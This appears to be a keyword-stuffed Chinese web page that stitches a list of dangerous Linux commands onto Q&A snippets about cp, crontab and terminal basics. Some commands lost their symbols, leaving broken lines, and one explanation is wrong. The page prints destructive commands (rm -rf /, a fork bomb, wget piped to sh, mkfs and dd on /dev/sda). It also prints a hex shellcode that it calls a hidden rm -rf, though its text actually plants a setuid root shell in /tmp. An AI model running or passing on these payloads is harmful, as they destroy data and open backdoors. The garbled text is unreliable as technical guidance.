
正文
linux保险库命令 linux中的双保险
提示:扫一扫查出行【扫一扫了解最新限行尾号】
复制提示
Linux中最危险的10个命令
Linux中最危险的10个命令
对于编程人员或或者Linux系统管理员来说linux保险库命令,操作Linux系统最常见的方法就是使用命令行。当然,Linux命令行佷有用、很高效,但有时候也很危险,尤其是在你误操作或者不确定你自己在正在做什么的时候。下面我就为大家盘点最危险是10个命令,一起来看看吧!
当然,以下命令通常都是在root权限下才能将愚蠢发挥到无可救药;在普 通用户身份下,破坏的只是自己的一亩三分地。
1. rm -rf 命令
rm -rf命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。下列是一些rm 命令的选项。
rm 命令在Linux下通常用来删除文件。
rm -r 命令递归的删除文件夹,甚至是空的文件夹。(译注:个人认为此处应该是说错linux保险库命令了,从常识看,应该是“甚至是非空的文件夹”)
rm -f 命令能不经过询问直接删除‘只读文件’。(译注:Linux下删除文件并不在乎该文件是否是只读的,而只是在意其父目录是否有写权限。所以,-f这个参数 只是表示不必一个个删除确认,而是一律悄悄删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来 要求删除确认,而-f则抑制了这个提示。)
rm -rf / : 强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了。。。)
rm -rf *: 强制删除当前目录的所有文件。
rm -rf . : 强制删除当前文件夹及其子文件夹。
从 现在起,当你要执行rm -rf命令时请留心一点。我们可以在“.bashrc”文件对‘rm‘命令创建rm -i的别名,来预防用 ‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好 你在做什么!译者本人有着血泪的教训啊。)
2. :(){:|:};: 命令
这就是个fork 炸弹的实例。具体操作是通过定义一个名为 ‘:‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
:(){:|:};:
哦?你确认你要试试么?千万别在公司正式的服务器上实验啊~~
3. 命令 /dev/sda
上列命令会将某个‘命令‘的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
4. mv 文件夹 /dev/null
这 个命令会移动某个‘文件夹‘到/dev/null。在Linux中 /dev/null 或 null 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。(译注:这就是黑洞啊。当然,要说明的是,通过将文件夹移动到黑洞,并不能阻止 数据恢复软件的救赎,所以,真正的`彻底毁灭,需要采用专用的软件或者手法来完成——我知道你肯定有些东西想删除得干干净净的。)
# mv /home/user/* /dev/null
上列命令会将User目录所有内容移动到/dev/null,这意味着所有东西都被‘卷入’黑洞 (null)之中。
5. wget -O- | sh
上列命令会从一个(也许是)恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。
注意: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。(译注:所以,你真的知道你在做什么吗?当遇到这种需要是,我的做法是,先wget下来,然后我去读一读其中到底写了些什么,然后考虑是否执行。)
6. mkfs.ext3 /dev/sda
上列命令会格式化块设备‘sda’,你无疑知道在执行上列命令后你的块设备(硬盘驱 动器)会被格式化,崭新的!没有任何数据,直接让你的系统达到不可恢复的阶段。(译注:通常不会直接使用/dev/sda这样的设备,除非是作为raw设 备使用,一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁 灭性的,上面的数据都会被蒸发了。)
7. file
上列命令常用来清空文件内容(译注:通常也用于记录命令输出。 不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。另外,我想你可能真正想用的是 “”,即累加新的输出到文件,而不是刷新那个文件。)。如果用上列执行时输入错误或无知的输入类似 “xt.conf” 的命令会覆盖配置文件或其他任何的系统配置文件。
8. ^foo^bar
这个命令在“鲜为人知而又实用的 Linux 命令大全:”中描述过,用来编辑先前运行的命令而无需重打整个命令。但当用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。(译注:事实上,这种小技巧是译者认为的,少数史前时代遗留下来的无用而有害的“黑客”技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然!你的系统可能陷入混乱和不可恢复的状态。(译注:记得上面说过mv到黑洞并不能彻底删除数据么?那么这个命令就是给了你一个彻底删除的方法!当然为了保险起见,你可以覆写多次。)
10. 隐藏命令
下面的命令其实就是上面第一个命令 (rm -rf)。这里的代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的根分区。
这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。
char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
注意: 不要在你的或你的同学或学校的电脑里的Linux终端或Shell执行以上的任何一个命令,因为这将导致数据丢失或者系统崩溃。如果你想测试它们,请在虚拟机上运行。
;
相关问答
Q1: linux的cp怎么覆盖?
cp命令是我日常学习中经常会遇到的一个命令,下面这篇文章主要给大家介绍了关于Linux系统利用cp命令实现强制覆盖功能的方法,并且给大家简单的介绍了cp命令的基础知识,需要的朋友可以参考借鉴,下面随着小编来一起学习学习吧。
前言
cp命令用来将一个或多个源文件或者目录复制到指定的目的文件或目录。它可以将单个源文件复制成一个指定文件名的具体的文件或一个已经存在的目录下。cp命令还支持同时复制多个文件,当一次复制多个文件时,目标文件参数必须是一个已经存在的目录,否则将出现错误。
语法
cp(选项)(参数)
选项
-a:此参数的效果和同时指定"-dpR"参数相同;
-d:当复制符号连接时,把目标文件或目录也建立为符号连接,并指向与源文件或目录连接的原始文件或目录;
-f:强行复制文件或目录,不论目标文件或目录是否已存在;
-i:覆盖既有文件之前先询问用户;
-l:对源文件建立硬连接,而非复制文件;
-p:保留源文件或目录的属性;
-R/r:递归处理,将指定目录下的所有文件与子目录一并处理;
-s:对源文件建立符号连接,而非复制文件;
-u:使用这项参数后只会在源文件的更改时间较目标文件更新时或是名称相互对应的目标文件并不存在时,才复制文件;
-S:在备份文件时,用指定的后缀“SUFFIX”代替文件的默认后缀;
-b:覆盖已存在的文件目标前将目标文件备份;
-v:详细显示命令执行的操作。
参数
源文件:制定源文件列表。默认情况下,cp命令不能复制目录,如果要复制目录,则必须使用-R选项;
目标文件:指定目标文件。当“源文件”为多个文件时,要求“目标文件”为指定的目录。
利用cp命令实现强制覆盖功能
我们平常在Linux中使用 cp 命令时,会发现将一个目录中文件复制到另一个目录具有相同文件名称时,即使添加了 -rf 参数强制覆盖复制时,系统仍然会提示让你一个个的手工输入 y 确认复制,所添加的rf参数是不起作用的。
原因:
cp命令被系统设置了别名,相当于cp=‘cp -i' 。
查询alias命令
[root@localhost sonarqube]# alias
alias cp='cp -i'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias grep='grep --color=auto'
alias l.='ls -d .* --color=auto'
alias ll='ls -l --color=auto'
alias ls='ls --color=auto'
alias mv='mv -i'
alias rm='rm -i'
alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'
通过上述输出,可以看出,我们平时使用 cp 命令,虽然没有添加任何参数 ,但系统默认会在我们使用 cp 命令时自动添加 -i 参数
-i, --interactive
prompt before overwrite
-i 即交互的缩写方式,也就是在使用 cp 命令作文件覆盖操作之前,系统会要求确认提示.这个本来是系统的一个保险措施.如果有很多文件要复制,觉得一个一个输入y 确认麻烦的话,可以使用如下方法解决:
强制复制
建议大家使用方式一,因为取消别名的话很容易造成风险,万一又忘记恢复别名,以后的复制都不会有提示信息。
有提示信息可以多一层保险嘛,是人都会有犯混的时候,给自己加一个保险,有保障呀.
Q2: linux 命令行如何运行程序
是这样linux保险库命令的
首先要保证linux保险库命令你安装linux保险库命令的是正确的,接着保证linux保险库命令你的这个可执行文件有当前登录账号的执行权限,可以用ls -al查看一下
如果,你可以使用如下方式执行linux保险库命令:
1、./tlesp (如果后面又参数,你可以根据需要添加参数)
2、/home/path/tlsap (如果后面又参数,你可以根据需要添加参数)
Q3: linux怎么修改crontab
1、首先,连接相应linux主机,进入到linux命令行状态下,等待输入shell指令。
2、在linux命令行下输入shell指令:crontab -e。
3、最后,按下回车键执行shell指令,此时会成功进入crontab的编辑模式。
Q4: LINUX系统有哪些危险命令
这9个“非常危险”的Linux命令一定要记住!
1、rm-rf命令
rm-rf命令是删除文件夹及其内容最快的一种方式linux保险库命令,仅仅一丁点的敲错或者无知都可能导致不可恢复的系统崩坏。
rm命令在Linux下通常用来删除文件
rm-f命令递归的删除文件夹,甚至是空的文件夹
rm-f命令能不经过询问直接删除只读文件
rm-rf/:强制删除根目录下所有东西
rm-rf/*:强制删除当前目录的所有文件
rm-rf.:强制删除当前文件夹及其子文件
温馨提示:当你要执行rm -rf命令时,一定要留心,可以在“.bashrc”文件对“rm”命令创建rm
-i的别名,来预防用‘rm’命令删除文件时的事故。
2、:(){:|:};:命令
这就是一个fork炸弹的实例。具体操作是通过定义一个名为':'的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
3、命令 /dev/sda
上列命令会将某个'命令'的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
4、mv文件夹/dev/null
这个命令会移动某个'文件夹'到/dev/null。在Linux中/dev/null或null设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。
5、wget -O- | sh
上面这个命令会从一个恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而sh会执行下载下来的脚本。
温馨提示:你应该时刻注意你下载包或者脚本的源。只能使用那些从可信任的源中下载脚本/程序。
6、mkfs.ext3 /dev/sda
上列命令会格式化设备'sda',你无疑知道在执行上列命令后你的块设备会被格式化,崭新的。没有任何数据,直接让你的系统达到不可恢复的阶段。
7、 file
上面命令常用来清空文件内容,如果用上列执行时输入错误或无知的输入类似“ xt.conf” 的命令会覆盖配置文件或其linux保险库命令他任何的系统配置文件。
8、^foo^bar
这个命令用来编辑先前运行的命令而无需要打整个命令。但当用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。
9、dd if=/dev/random of=/dev/sda
上面这个命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然,你的系统可能陷入混乱和不可恢复的状态。
Q5: Linux 从 0 到 1(一) - 终端简介,文件与目录以及相关操作,常用命令
模式:
当打开终端linux保险库命令,第一行所见的就叫命令行提示符。我的是这样的:
命令行提示符linux保险库命令,顾名思义就是提示在其后面输入命令。在你输入新的一行命令前,这个命令提示符都会出现。分别解析一下上边代表什么意思:
oscar 这是当前用户的名字。Linux是一个多用户的操作系统,Windows也可以。不过Linux的多用户管理更方便。我们一般建议每个使用Linux系统的用户都创建一个属于自己的账户,便于隐私管理。
@ 这个符号我们应该不陌生,我们的电子邮件一般都是 name@domain.com 这样的不是吗。这个@就表示英语里的at,是“在...里面,落户在...的,在其中”的意思。@前面是用户名,后面是所在的域。
oscar-laptop 这是当前电脑/操作系统的名字。上面说了在@后面的是一个域,所以 oscar@oscar-laptop 就表示oscar-laptop这台电脑的oscar这个用户。oscar-laptop这个名称在安装此Linux系统时可以任意指定。
: 这是分隔符,没有什么特别的涵义。
~ 这是当前所在目录的名字,会随着用户进入不同目录而改变。~表示当前用户的家目录,有点类似Windows系统的“我的文档”这个目录。
$ 指示你所具有的权限的字符。在Linux系统中有两种可能:
因此, oscar@oscar-laptop:~$ 的意思就是:
你目前是以oscar这个用户登录;你的电脑名称为oscar-laptop;你目前位于 ~ 目录下,就是你的用户家目录。你是普通用户,拥有有限的权限。
参数里可以包含多个参数,由空格隔开,也可以包含数字,字母,等等。可以说,参数没有固定的格式,但是一般来说还是遵循一定的规范的。
如果我们要一次加好几个短参数,可以用空格隔开,例如:
多个短参数也可以合并在一起,例如上面的命令等价于:
请注意:参数的字母的大小写是有区别的,大写的T和小写的t通常表示不同意思。
如果有多个长参数,是不能像多个短参数那样合并写的。而是只能以空格隔开,例如:
当然我们也可以组合使用短参数和长参数,例如:
有时候,同一个意义的参数有短参数和长参数两种形式,效果是一样的,可以任选哪一种。
有一些参数你还需要给它赋一个值才行。而且短参数和长参数的赋值的方式不尽相同。
例如,短参数赋值,通常是这样的:
表示把10赋值给p参数。
如果是长参数,则一般是这样赋值:
长参数的方式更加容易理解,但是不如短参数那么简洁。
正如我们说过的,参数的形式没有绝对的准则。我们上面给出的规则是一般的,有些命令的参数格式可能是我们没怎么见过的。
有些参数就不一样,而且取决于命令。例如对于 ls 这个命令,假如后面带了一个参数,这个参数是一个目录的路径名的话,那么就会列出此目录下的文件。
两种类型的文件
简单起见,我们把Linux下的文件分为两大类:
在一个文件系统中,我们总有一个被称为根目录的东西,这个根目录里包含了所有其linux保险库命令他目录和文件。Linux中有且只有一个根目录,就是
是的,就是用一个斜杠表示。没有比根目录再高一阶的目录了,因为没有目录包含根目录,根目录就是Linux最顶层的目录。
Linux系统安装后,包含了很多的文件和目录(虽然其实都是文件),我们很容易迷失在“茫茫文海”中。
当然我们不可能一下子列出Linux中的所有文件,那不现实。但是我们可以向你展示如何在Linux的目录树中来回穿梭,你可以知道此刻你位于哪个目录下。就好比能看懂Linux这个很大的“地图”。
pwd 是英语Print Working Directory的缩写,表示“打印当前工作目录”。
which 命令:获取命令的可执行文件的位置,which命令用于显示一个命令的对应的可执行程序的位置。可能听起来有点拗口。
在Linux下,每一条命令其实对应了一个可执行程序。我们在终端中输入命令,再按回车的时候,其实就是执行了对应的那个程序。比如说,pwd命令对应的pwd程序就是存在于Linux中的。
which命令接受一个参数,也就是你想要知道其可执行程序位于哪里的那个命令。
我们来测试一下,就拿pwd命令来测试好了:
得到:
因此,pwd命令对应的pwd这个可执行程序位于/bin目录中。
我们也可以注意到Linux中的可执行程序和Windows中不太一样,在Windows中可执行程序一般以.exe结尾,而Linux中一般是没有后缀名的。
Linux中的可执行程序也不是都位于相同目录的。我们可以来测试一下which命令本身对应的可执行程序位于哪里:
我们可以看到,which命令对应的可执行程序which并不位于/bin中,而是在/usr/bin中。
Ubuntu的终端默认是有颜色标注的,一般来说:
如果在你的终端里没有标明颜色,那么你可以加上参数 --color=auto 来开启颜色标注。如下:
如果你不需要颜色标注,那么可以用 --color=none 来关闭颜色标注。如下:
当然,为了避免每次都输入这么一串额外的参数,其实我们可以在一个配置文件里修改,使得永久显示颜色或不显示颜色。
在Linux,以点( . )开头的文件是隐藏文件,不过这里不包括开头的两个 . 和 .. ,这两个的含义如下:
- . (一个点)表示当前目录。在当前情况下,就是 /home/oscar 。
- .. (两个点)表示上一级目录。因为当前目录是/home/oscar,所以上一级目录就是 /home 。
我们有一个大写的参数 -A,它的作用和小写的-a几乎一样,唯一不同就是-A不列出 . 和 .. 这两个文件。
-l 这个参数算是ls命令最常用的了。加上-l参数使得ls命令列出一个显示文件和目录的详细信息的列表。
当我们仅用ls -l时,列出的文件详细信息中,文件的大小是以字节为单位的。有时这不是太直观。我们可以再加一个参数-h,h是humain readable的缩写,表示“适合人类阅读的”。所以我们的命令变成了:
t是time的缩写。
du命令也是很有用的,因为它可以让我们知道文件和目录所占的空间大小。
虽然ls -l命令也可以显示文件和目录的大小,但是du命令统计的才是真正的文件大小。du命令会深入遍历每个目录的子目录,把所有文件的大小都做一个统计。
du是英语disk usage的缩写,表示“磁盘使用/占用”。
我们的du命令也可以使用参数。
cat命令和less命令:显示文件内容,这两个命令只能显示文件内容,并不能对文件内容进行修改。
一次性显示文件的所有内容,如果你想要在显示的文件内容上加上行号,那么你可以加上 -n 这个参数。
分页显示文件内容
head命令和tail命令:显示文件的开头和结尾。
显示文件开头,默认情况下,head会显示文件的头10行。我们也可以指定显示的行数,用 -n 这个参数:
就会显示文件的头5行。
显示文件结尾。默认情况下,tail会显示文件的尾10行。
我们也可以指定显示的行数,用 -n 这个参数:
就会显示文件的尾5行。
tail命令还可以配合 -f 参数来实时追踪文件的更新:
这样,就会检查文件是否有追加内容,如果有,就显示新增内容。
默认地,tail -f会每过1秒检查一下文件是否有新内容。你也可以指定间隔检查的秒数,用 -s 参数:
可以用快捷键 Ctrl + c 来终止tail -f 命令。
touch命令和mkdir命令:创建文件和目录
创建一个空白文件。事实上,Linux没有一个命令是专门用来创建一个空白文件的。touch命令其实一开始的设计初衷是修改文件的时间戳,就是可以修改文件的创建时间或修改时间,让电脑以为文件是在那个时候被修改或创建的。但是touch命令如果后面跟着的文件名是不存在的,那么它就会新建一个。
事实上,我们可以用touch命令同时创建多个文件:
如果我所要创建的文件的名字里有空格怎么办呢?
很简单,加上双引号:
创建一个目录。
mkdir也可以同时创建好几个目录:
如果我所要创建的目录的名字里有空格怎么办呢?
很简单,加上双引号:
我们还可以用 -p 参数来递归创建目录结构。
比如:
cp命令和mv命令:拷贝文件和移动文件
拷贝文件或目录
cp是英语copy的缩写,表示“拷贝”。所以,顾名思义,此命令用于拷贝。cp命令不仅可以拷贝单个文件,还可以拷贝多个文件,也可以拷贝目录。
复制文件到另一个目录只需要把cp命令的第二个参数换成目录名。
拷贝目录
要拷贝目录,只要在cp命令之后加上-R参数(注意是大写的R)。拷贝的时候,目录中的所有内容(子目录和文件)都会被拷贝。
使用通配符*
*号(星号)是很常用的正则表达式的符号,被称为“通配符”,
所以如果我们用如下命令:
那么就会把当前目录下所有txt文件拷贝到folder这个子目录当中。
又如:
那么就会把当前目录下凡是以ha开头的文件都拷贝到folder目录中。
移动文件
mv是英语move的缩写,表示“移动”。mv命令有两个功能:
用mv命令来移动目录很简单,不需要额外的参数,就跟移动文件一样:
当然,我们也可以使用通配符。
除了移动文件,mv命令还可以用于重命名文件。
事实上,Linux中没有一个专门的命令用于重命名文件。之所以mv命令可以重命名文件,其实还是归因于它的机制:移动文件。经过mv移动之后,原始文件变成了新的名字的文件,文件内容是不变的,这不就相当于重命名了吗?
以上命令会将new_file重命名为renamed_file。
删除文件和目录
rm命令可以删除一个文件,多个文件,目录,甚至你的整个Linux系统(如果你愿意的话)。
以上命令删除当前目录下的new_file_copy这个文件。
我们也可以同时删除多个文件,只要用空格隔开每个文件即可。例如:
保险起见,用rm命令删除文件时,可以加上 -i 参数,这样对于每一个要删除的文件,终端都会询问我们是否确定删除。i是英语inform的缩写,表示“告知,通知”。
有两种回答:
y:是英语yes的缩写,表示“是”。那么回车确认后,文件就删除了。
n:是英语no的缩写,表示“否”。那么回车确认后,文件不会删除。
如果在rm命令后加上-f参数,那么终端不会询问用户是否确定删除文件,不论如何,文件会立刻被强制删除。
f是英语force的缩写。
以上命令会强制删除file文件。
r是英语recursive的缩写,表示“递归的”。所以使用-r参数,可以使rm命令删除目录,并且递归删除其包含的子目录和文件。
这个命令也挺危险的,用得不好可能你的子目录和文件都没了。
以上命令会删除one这个目录,包括其子目录和文件。
其实,也存在一个命令
看着和 rm -r 挺像的。但是这个命令有个局限性:只能删除空的目录。
创建链接
事实上,Linux下有两种链接类型:
为了区分这两种链接类型的不同,我们首先来谈一谈如Linux这样的操作系统中文件在硬盘上的存放。
文件在硬盘上存储时,大致来说(请注意我用了“大致来说”),每个文件有两部分:
文件名的列表是储存在硬盘的其他地方的,和文件内容分开存放,这样方便Linux管理。
注意:为什么我上面要用“大致说来”呢?因为此处我们简化了描述,其实每个文件有三部分:
我们这里简化地将文件分为两部分:文件名和文件内容。因为我们不想把事情复杂化,我们想要理解两种链接类型的区别,暂时只要知道这些就够了。
每个文件的文件内容被分配到一个标示号码,就是inode。因此每个文件名都绑定到它的文件内容(用inode标识)。原理如下图:
下面我们学习如何创建硬链接和软连接。
比之软链接,硬链接的使用几率小很多。但是我们还是要学习一下,毕竟可能会用到。
硬链接的原理:使链接的两个文件共享同样的文件内容,也就是同样的inode。
所以一旦文件1和文件2之间有了硬链接,那么你修改文件1或文件2,其实修改的是相同的一块内容。只不过我们可以用两个文件名来取到文件内容。
硬链接有一个缺陷:只能创建指向文件的硬链接,不能创建指向目录的硬链接。但是软链接可以指向文件或目录。当然了,事实上,通过一些参数的修改,也可以创建指向目录的硬链接,但是比较复杂,这里不再详述。所以对于目录的链接,我们一般都是用软链接。
硬链接原理图:
要创建硬链接,直接用ln命令,不加任何参数:
我们可以用ls -i命令查看一下(-i参数可以显示文件的inode)。对于硬链接来说,删除任意一方的文件,共同指向的文件内容并不会从硬盘上被删除。
我们用ls -l命令查看文件信息的时候,第二列的那个2,其实是表示拥有相同inode号的文件数。不难理解,因为它们指向相同的文件内容,所以共享一个inode。
这个第二列的数字,一般来说对于普通文件,都是1,因为不同文件inode不同嘛。对于目录来说,这第二列的数字标明目录内所含文件数目。
其实,软链接才是真正像我们在Windows下的快捷方式的,其原理很相似。
创建硬链接是ln不带任何参数,但是要创建软链接需要加上-s参数。s是symbolic(符号的)的缩写。
file2指向的不再是file1的文件内容(和硬链接不同),而是指向file1的文件名。
软链接原理图:
用ls -l命令查看一下,会发现形式和之前的硬链接不一样噢,file2的信息是这样的: file2-file1,表示file2指向file1。
而且file2前面的权限那里的第一个字母变成了l,表示link(链接)。之前硬链接的时候是没有l的,硬链接外表看起来就和普通文件类似。
我们用ls -l命令查看文件信息的时候,第二列的那个1,表示拥有相同inode号的文件数。不难理解,因为file2指向file1,它们并没有指向同一块文件内容,所以它们的inode号不相同。
软链接的特点:
关于linux保险库命令和linux中的双保险的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。







